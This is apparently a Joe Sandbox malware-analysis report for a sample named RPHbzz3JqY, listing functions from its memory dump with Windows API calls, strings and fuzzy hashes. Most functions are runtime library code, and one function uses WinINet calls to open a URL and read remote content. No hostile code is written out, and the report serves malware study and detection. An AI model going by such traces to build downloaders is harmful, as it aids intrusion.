
Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1678536053.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000000.00000002.1678516949.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678577435.000000000060E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678614331.000000000061F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678830020.0000000000622000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_RPHbzz3JqY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f74521aab616ba6740b0b9f46b57c4c14643d332447ca1cf9c45f8c6b9e4c0f7
Instruction ID: c8bdc2216102ce0e09f6b27dc55057c1650ed78089d976bc5363f65b415d1f27
Opcode Fuzzy Hash: f74521aab616ba6740b0b9f46b57c4c14643d332447ca1cf9c45f8c6b9e4c0f7
Instruction Fuzzy Hash: 99F13F71E012199FDF14CFA8C8806BEBBB5FF88314F158269EA15AB345DB35AD01CB94

Function 006002CE Relevance: 1.8, APIs: 1, Instructions: 274COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,00000025,?,00000008,?,?,006002C9,00000025,?,00000008,?,?,0060B97D,00000000), ref: 006004FB

Memory Dump Source

Source File: 00000000.00000002.1678536053.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000000.00000002.1678516949.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678577435.000000000060E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678614331.000000000061F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678830020.0000000000622000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_RPHbzz3JqY.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 08b8404696e13102da630c8d674026a5f4762f4cff16a600424a96c37a1102c8
Instruction ID: f10dd37c8d7c8538a5963eab178a0e79bd9ed56738a4c4b5186157d79dac3fb3
Opcode Fuzzy Hash: 08b8404696e13102da630c8d674026a5f4762f4cff16a600424a96c37a1102c8
Instruction Fuzzy Hash: E0B13831650609CFE719CF28C486BA67BE1FF45364F258658E99ACF2E1C335E982CB40

Function 005F0AD3 Relevance: 1.6, APIs: 1, Instructions: 144COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 005F0AE9

Memory Dump Source

Source File: 00000000.00000002.1678536053.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000000.00000002.1678516949.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678577435.000000000060E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678614331.000000000061F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678830020.0000000000622000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_RPHbzz3JqY.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: ce39758004816f37305b78dee9bbe4f47a5d7cc713abfaddb2d8a2e9068930a1
Instruction ID: b3680b9ad9ccb4fda73f484123cb46c2a1b18099853da45e3e91d5262bdfb347
Opcode Fuzzy Hash: ce39758004816f37305b78dee9bbe4f47a5d7cc713abfaddb2d8a2e9068930a1
Instruction Fuzzy Hash: 45519EB1A106198FEB24CF54D8957AEBBF2FB48314F28952AD505EB392D378AD40CF50

Function 00607AA7 Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 005FCA90: GetLastError.KERNEL32(005D1920,00000001,005D1924,005F6D0D,00000001,00000000,00000000,?,005FCD85,00000000,00000000,00000001,00000000,005D1920,00000104), ref: 005FCA95
Part of subcall function 005FCA90: SetLastError.KERNEL32(00000000,00000006,000000FF,?,005FCD85,00000000,00000000,00000001,00000000,005D1920,00000104), ref: 005FCB33

Part of subcall function 005FCA90: _free.LIBCMT ref: 005FCAF2
Part of subcall function 005FCA90: _free.LIBCMT ref: 005FCB28

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00607AFB

Memory Dump Source

Source File: 00000000.00000002.1678536053.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000000.00000002.1678516949.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678577435.000000000060E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678614331.000000000061F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678830020.0000000000622000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_RPHbzz3JqY.jbxd

Similarity

API ID: ErrorLast_free$InfoLocale
String ID:
API String ID: 2003897158-0
Opcode ID: 41eb13bd7641c34543054f69666b07f5ccc258d9430849d18076ebcdf51da847
Instruction ID: 25b21fda06a5889fa3ffa5d807379cef345f2b913e1095cfba8b2381ed9399e1
Opcode Fuzzy Hash: 41eb13bd7641c34543054f69666b07f5ccc258d9430849d18076ebcdf51da847
Instruction Fuzzy Hash: A221837199520AABDB2C9F28DC46ABB77AAEF44310B10407EFA01C7281EB38FD45C654

Function 0060772E Relevance: 1.6, APIs: 1, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 005FCA90: GetLastError.KERNEL32(005D1920,00000001,005D1924,005F6D0D,00000001,00000000,00000000,?,005FCD85,00000000,00000000,00000001,00000000,005D1920,00000104), ref: 005FCA95
Part of subcall function 005FCA90: SetLastError.KERNEL32(00000000,00000006,000000FF,?,005FCD85,00000000,00000000,00000001,00000000,005D1920,00000104), ref: 005FCB33

EnumSystemLocalesW.KERNEL32(00607854,00000001,00000000,?,-00000050,?,00607E82,00000000,?,?,?,00000055,?), ref: 006077A0

Memory Dump Source

Source File: 00000000.00000002.1678536053.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000000.00000002.1678516949.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678577435.000000000060E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678614331.000000000061F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678830020.0000000000622000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_RPHbzz3JqY.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 589e5a73f947cfae8a526039fc2ea2e4c36607edfd61d3dbb5c532695c99b089
Instruction ID: a54d6d4b921aa9bac1bae76e38bffdf0f4e76771d15cc06aa9f536309ba9e889
Opcode Fuzzy Hash: 589e5a73f947cfae8a526039fc2ea2e4c36607edfd61d3dbb5c532695c99b089
Instruction Fuzzy Hash: 3A11063A6443055FDB1C9F3888915BBBB92FF84399B14483DE98687B80D371B942C740

Function 00607CD3 Relevance: 1.5, APIs: 1, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 005FCA90: GetLastError.KERNEL32(005D1920,00000001,005D1924,005F6D0D,00000001,00000000,00000000,?,005FCD85,00000000,00000000,00000001,00000000,005D1920,00000104), ref: 005FCA95
Part of subcall function 005FCA90: SetLastError.KERNEL32(00000000,00000006,000000FF,?,005FCD85,00000000,00000000,00000001,00000000,005D1920,00000104), ref: 005FCB33

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,00607A70,00000000,00000000,?), ref: 00607CFF

Memory Dump Source

Source File: 00000000.00000002.1678536053.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000000.00000002.1678516949.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678577435.000000000060E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678614331.000000000061F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678830020.0000000000622000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_RPHbzz3JqY.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 455a604c94a196f968dd398883854ad1efb2068419ea09eb5575c0e847a3a193
Instruction ID: 55fbae705022d61015f32a4c0ebbcb952d1abf139c013acbed0cd626a5c4e61a
Opcode Fuzzy Hash: 455a604c94a196f968dd398883854ad1efb2068419ea09eb5575c0e847a3a193
Instruction Fuzzy Hash: 97F0A972E841167BDB2C5A248849AFB775AEF40754F154C29ED46A32C0EA74FD42C5D0

Function 006077C9 Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 005FCA90: GetLastError.KERNEL32(005D1920,00000001,005D1924,005F6D0D,00000001,00000000,00000000,?,005FCD85,00000000,00000000,00000001,00000000,005D1920,00000104), ref: 005FCA95
Part of subcall function 005FCA90: SetLastError.KERNEL32(00000000,00000006,000000FF,?,005FCD85,00000000,00000000,00000001,00000000,005D1920,00000104), ref: 005FCB33

EnumSystemLocalesW.KERNEL32(00607AA7,00000001,?,?,-00000050,?,00607E46,-00000050,?,?,?,00000055,?,-00000050,?,?), ref: 00607813

Memory Dump Source

Source File: 00000000.00000002.1678536053.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000000.00000002.1678516949.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678577435.000000000060E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678614331.000000000061F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678830020.0000000000622000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_RPHbzz3JqY.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: ba506dd42950d2b2357032f645f456b2a4dc48aa356747d247048d4aa5f06200
Instruction ID: e95af37042f5d20c6d82c0e1e172e3fb1732d00e8364df1f228ac9f5d38cdea7
Opcode Fuzzy Hash: ba506dd42950d2b2357032f645f456b2a4dc48aa356747d247048d4aa5f06200
Instruction Fuzzy Hash: 2BF0F6367443095FDB285F359885ABBBB97EF80368B15843DF9464BAC0D6B5BC02C790

Function 005FCEDB Relevance: 1.5, APIs: 1, Instructions: 33COMMON

Download Yara Rule

APIs

Part of subcall function 005F800D: EnterCriticalSection.KERNEL32(?,?,005F97BC,00000000,0061D410,0000000C,005F9783,?,?,005FCEA4,?,?,005FCC32,00000001,00000364,00000006), ref: 005F801C

EnumSystemLocalesW.KERNEL32(Function_0002CECE,00000001,0061D550,0000000C,005FD339,?), ref: 005FCF13

Memory Dump Source

Source File: 00000000.00000002.1678536053.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000000.00000002.1678516949.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678577435.000000000060E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678614331.000000000061F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678830020.0000000000622000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_RPHbzz3JqY.jbxd

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: d6c8134c89ae8253cbaea88b890052129e9180782f108ac03938958766b1889c
Instruction ID: b7c14ff96a1e7239bd9fc98f0d04890faa6e237bf3510a41847200cb8133fd69
Opcode Fuzzy Hash: d6c8134c89ae8253cbaea88b890052129e9180782f108ac03938958766b1889c
Instruction Fuzzy Hash: E7F04F72A80609DFE710EF68E946BAD7BB1FB44721F10416AF910DB2A1DB795941CF40

Function 006076E3 Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 005FCA90: GetLastError.KERNEL32(005D1920,00000001,005D1924,005F6D0D,00000001,00000000,00000000,?,005FCD85,00000000,00000000,00000001,00000000,005D1920,00000104), ref: 005FCA95
Part of subcall function 005FCA90: SetLastError.KERNEL32(00000000,00000006,000000FF,?,005FCD85,00000000,00000000,00000001,00000000,005D1920,00000104), ref: 005FCB33

EnumSystemLocalesW.KERNEL32(0060763C,00000001,?,?,?,00607EA4,-00000050,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 0060771A

Memory Dump Source

Source File: 00000000.00000002.1678536053.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000000.00000002.1678516949.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678577435.000000000060E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678614331.000000000061F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678830020.0000000000622000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_RPHbzz3JqY.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 1054f3c16f524d27d5de29bb27f8aea2493a749310386b0f6c7c3a9fb0d90cb2
Instruction ID: 12a45bd8b1cdbcde49a6854e74ce3055db36a45805ccbd26390b61456eb62fb9
Opcode Fuzzy Hash: 1054f3c16f524d27d5de29bb27f8aea2493a749310386b0f6c7c3a9fb0d90cb2
Instruction Fuzzy Hash: C6F0E53A78020A57CB089F39D8556BBBF96EFC1750B0B8059EE068B6D1D676A843C790

Function 005F1597 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_000215A3,005F0D5C), ref: 005F159C

Memory Dump Source

Source File: 00000000.00000002.1678536053.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000000.00000002.1678516949.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678577435.000000000060E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678614331.000000000061F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678830020.0000000000622000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_RPHbzz3JqY.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: b70f6421f6343f497d0ad10666c64408fc68e584529b6e7f115bcfe24aa1395c
Instruction ID: 00790413f0187bff126e2b98db0abe22b476981d94bece9dbe0e645c1c04f6dc
Opcode Fuzzy Hash: b70f6421f6343f497d0ad10666c64408fc68e584529b6e7f115bcfe24aa1395c
Instruction Fuzzy Hash:

Function 005F72BB Relevance: 1.5, Strings: 1, Instructions: 216COMMON

Download Yara Rule

Strings

0, xrefs: 005F7437

Memory Dump Source

Source File: 00000000.00000002.1678536053.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000000.00000002.1678516949.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678577435.000000000060E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678614331.000000000061F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678830020.0000000000622000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_RPHbzz3JqY.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 220112d8f39cdcc593a3a003b295f9a5a1c6afae9280af9300a0642ecbc41cbf
Instruction ID: c3f6ddfceb35a157f84ca65cdc2d16e90ec7c26a0b4f422fd52874a502a2e140
Opcode Fuzzy Hash: 220112d8f39cdcc593a3a003b295f9a5a1c6afae9280af9300a0642ecbc41cbf
Instruction Fuzzy Hash: 0051567060C74DB6DF398A28849DBBE6F8ABB4E304F140D2DDF82D72C2C65D9D05A612

Function 00608004 Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00608004

Memory Dump Source

Source File: 00000000.00000002.1678536053.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000000.00000002.1678516949.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678577435.000000000060E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678614331.000000000061F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678830020.0000000000622000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_RPHbzz3JqY.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: c482eb394991919e1588572c93b5284be942507ac358c740fa0dd89d11f06c1e
Instruction ID: c8ede12a0c502b720c9109901fcfa8b3407c7adb7663f08f3860f4efe44362f9
Opcode Fuzzy Hash: c482eb394991919e1588572c93b5284be942507ac358c740fa0dd89d11f06c1e
Instruction Fuzzy Hash: F9A01230102201CBA3004F355B0520B379665011803009054A005C4120D62040504600

Function 00602D19 Relevance: .6, Instructions: 637COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1678536053.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000000.00000002.1678516949.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678577435.000000000060E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678614331.000000000061F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678830020.0000000000622000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_RPHbzz3JqY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b3cd5b4615a7c6fa023b93071facb7b304bbf024b652dfea36bf7b81411f15f9
Instruction ID: 01198a8810efc8a41a93ab82699d197e262f05b9b96683730b3518da31d67871
Opcode Fuzzy Hash: b3cd5b4615a7c6fa023b93071facb7b304bbf024b652dfea36bf7b81411f15f9
Instruction Fuzzy Hash: A7327661D68F010DD7278634D822376A68EAFB73C5F18D327E81AB6EA5EF29C5C34100

Function 005E5780 Relevance: .2, Instructions: 184COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1678536053.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000000.00000002.1678516949.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678577435.000000000060E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678614331.000000000061F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678830020.0000000000622000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_RPHbzz3JqY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f109be69dd04bd94a2a64cc93818bde7b7f94eb6067f1bf167ae3f90fd184b67
Instruction ID: 52c7010095aa050fafa26e2120fbb20362fb0334f2e5686f61ec81f8dc2698d3
Opcode Fuzzy Hash: f109be69dd04bd94a2a64cc93818bde7b7f94eb6067f1bf167ae3f90fd184b67
Instruction Fuzzy Hash: 65510775B1455A9BDB0CCE6ED8405BC7BA7ABC4310B55C229E895CB285FB30D921DBC0

Function 0060B5D1 Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1678536053.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000000.00000002.1678516949.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678577435.000000000060E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678614331.000000000061F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678830020.0000000000622000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_RPHbzz3JqY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a76c8b41ee9bc75d2759714812071b511e1e8fc557aef4e2560311458bc3420f
Instruction ID: cea3d7ca0a27465b581415098c8b0f05140639a2d976037da1e8c6659c847040
Opcode Fuzzy Hash: a76c8b41ee9bc75d2759714812071b511e1e8fc557aef4e2560311458bc3420f
Instruction Fuzzy Hash: 6D21B673F20539477B0CC47ECC5327DB6E1C68C601745823AE8A6EA2C1D968D917E2E4

Function 0060B4B1 Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1678536053.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000000.00000002.1678516949.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678577435.000000000060E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678614331.000000000061F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678830020.0000000000622000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_RPHbzz3JqY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 279f5634a47c25c446bf8056943306eb25e27aa06c712e42c86ec33765daf780
Instruction ID: fd2b10ca01a8c6f1f6a1dc134a3de16706917c443102fa76880b8a0500b7a6ae
Opcode Fuzzy Hash: 279f5634a47c25c446bf8056943306eb25e27aa06c712e42c86ec33765daf780
Instruction Fuzzy Hash: D511A323F30C256A675C81A98C132BAA1D3EBD824070F533AD826E72C4E9A4DE13D290

Function 005F19A0 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1678536053.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000000.00000002.1678516949.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678577435.000000000060E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678614331.000000000061F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678830020.0000000000622000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_RPHbzz3JqY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: afcdb447e23ab60f4f5b65069efe25a1be1483ee65b7e60996e630c246f1357e
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: 85115E7724188AC3D6148A7EC6B46B6AF95FBC5320B2C437AC2C24BB58D16B99419688

Function 005FFF39 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1678536053.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000000.00000002.1678516949.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678577435.000000000060E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678614331.000000000061F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678830020.0000000000622000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_RPHbzz3JqY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c01e9777f494ea02394e51ea28b205c4ca470a38e1002bee0bddf62d3a72e8f1
Instruction ID: 668e6e0178796af59a4bb9bbb70bdfe87b77f33a3306cbccdc41392e61a34d49
Opcode Fuzzy Hash: c01e9777f494ea02394e51ea28b205c4ca470a38e1002bee0bddf62d3a72e8f1
Instruction Fuzzy Hash: DDF03032A15228ABDB26CB48D409BA9B7B9EB47BA1F114066F601EB690D674DD00C7D0

Function 005FFF7D Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1678536053.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000000.00000002.1678516949.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678577435.000000000060E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678614331.000000000061F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678830020.0000000000622000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_RPHbzz3JqY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8784d531f00f65a1755ea2ee7bc53ba0411dda85326038387147794ac4c9694a
Instruction ID: 5f45a05ba523eaa93a126c5800573258df0774d81e6a66eb511be302982e805b
Opcode Fuzzy Hash: 8784d531f00f65a1755ea2ee7bc53ba0411dda85326038387147794ac4c9694a
Instruction Fuzzy Hash: 11E08C3291122CEBCB24DB98C908D9AF7FCFB85B00B1140A6B601D3510C274DE00C7E0

Function 005F84EA Relevance: 28.4, APIs: 15, Strings: 1, Instructions: 357COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 005F8559
_free.LIBCMT ref: 005F856F
_free.LIBCMT ref: 005F8582
_free.LIBCMT ref: 005F8597
_free.LIBCMT ref: 005F85AC
GetCPInfo.KERNEL32(?,?), ref: 005F85F6

Part of subcall function 0060224A: _free.LIBCMT ref: 006022B5

_free.LIBCMT ref: 005F8861
_free.LIBCMT ref: 005F8874
_free.LIBCMT ref: 005F8882
_free.LIBCMT ref: 005F888D
_free.LIBCMT ref: 005F88CF
_free.LIBCMT ref: 005F88D7
_free.LIBCMT ref: 005F88DD
_free.LIBCMT ref: 005F88E5
_free.LIBCMT ref: 005F88F3

Strings

0!a, xrefs: 005F891E

Memory Dump Source

Source File: 00000000.00000002.1678536053.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000000.00000002.1678516949.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678577435.000000000060E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678614331.000000000061F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678830020.0000000000622000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_RPHbzz3JqY.jbxd

Similarity

API ID: _free$Info
String ID: 0!a
API String ID: 2509303402-1828747439
Opcode ID: dd06fa724dda342ee85b0e1e271e8fb6269e25815537ed38e18aa8372ea195ee
Instruction ID: 49e37efb9ed510ce3aee627b52112d717045d3e947927a0d31b81c56418389ee
Opcode Fuzzy Hash: dd06fa724dda342ee85b0e1e271e8fb6269e25815537ed38e18aa8372ea195ee
Instruction Fuzzy Hash: 1ED1AC71D0030A9FDB11DFA8C885BFEBFB5BF49300F144529E695AB282DB79A845CB50

Function 005D29C0 Relevance: 28.3, APIs: 9, Strings: 7, Instructions: 311networkfileCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET(00000000,00000001,00000000,00000000,00000000), ref: 005D2BA1
InternetOpenUrlA.WININET(00000000,00000007,00000000,00000000,84000000,00000000), ref: 005D2C1D
InternetCloseHandle.WININET(00000000), ref: 005D2C2A
InternetCloseHandle.WININET(00000000), ref: 005D2C98
InternetCloseHandle.WININET(00000000), ref: 005D2C9B
InternetReadFile.WININET(00000000,?,00002000,?), ref: 005D2CC7
InternetReadFile.WININET(00000000,?,00002000,?), ref: 005D2CFE
InternetCloseHandle.WININET(00000000), ref: 005D2D52
InternetCloseHandle.WININET(00000000), ref: 005D2D55

Strings

33333333, xrefs: 005D2A93, 005D2AFF
ios_base::eofbit set, xrefs: 005D2D84
ios_base::failbit set, xrefs: 005D2D7F
,`, xrefs: 005D2C6B
sHM, xrefs: 005D2B30
""~|fP, xrefs: 005D2A04
ios_base::badbit set, xrefs: 005D2D76, 005D2D9E

Memory Dump Source

